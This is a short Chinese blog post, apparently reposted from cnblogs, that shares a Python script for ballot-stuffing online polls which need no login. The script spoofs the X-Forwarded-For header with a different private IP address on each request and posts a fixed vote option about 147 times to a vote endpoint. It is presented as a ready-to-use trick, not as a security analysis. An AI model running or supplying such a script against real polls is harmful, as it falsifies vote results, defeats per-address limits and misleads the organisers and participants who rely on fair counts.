码迷,mamicode.com
首页 > 编程语言 > 详细

[python 学习笔记] 简单刷投票功能

时间:2017-12-28 19:53:32      阅读:139      评论:0      收藏:0      [点我收藏+]

标签:gecko   模拟   def   win64   requests   on()   pre   except   设置   

最近好久没写了,其实有道云里积累了好多,但是没时间整理。

实在是太多事情要做了

好多投票都是不需要登录的,这种刷起来很简单。 原理就是 X-Forwarded-For 。废话不多说上代码

import requests
import time

host = 'xx'
def getSession():
    ss = requests.session()
    ss.headers['Host']= host
    ss.headers['Connection']=r'keep-alive'
    ss.headers['Accept']=r'*/*'
    ss.headers['Origin']=r'http://zhengwen.hecul.com'
    ss.headers['X-Requested-With']=r'XMLHttpRequest'
    ss.headers['User-Agent']=r'Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/61.0.3163.91 Safari/537.36'
    ss.headers['Content-Type']=r'application/x-www-form-urlencoded; charset=UTF-8'
    ss.headers['Referer']=host
    ss.headers['Accept-Encoding']=r'gzip, deflate'
    ss.headers['Accept-Language']=r'zh-CN,zh;q=0.8,en;q=0.6,en-GB;q=0.4'
    return ss

for x in range(3,150):
    try:
        time.sleep(3)
        ss = getSession()
        # 模拟同一wifi不同设备。
        ss.headers["X-Forwarded-For"] = '192.168.0.'+ str(x)
        # 获取cookie
        ss.get(host)

        # 设置数据长度。可以由下边 data 获取
        data='id=2&voteoption=101'
        ss.headers['Content-Length'] = str(len(data))

        # 发送数据
        r = ss.post(r'%s/plug/vote/'%host,data=data)
        print(r.text)
    except Exception as e:
        print(str(e))
        pass

[python 学习笔记] 简单刷投票功能

标签:gecko   模拟   def   win64   requests   on()   pre   except   设置   

原文地址:https://www.cnblogs.com/boliu/p/8137048.html

(0)
(0)
   
举报
评论 一句话评论(0
登录后才能评论!
© 2014 mamicode.com 版权所有  联系我们:gaon5@hotmail.com
迷上了代码!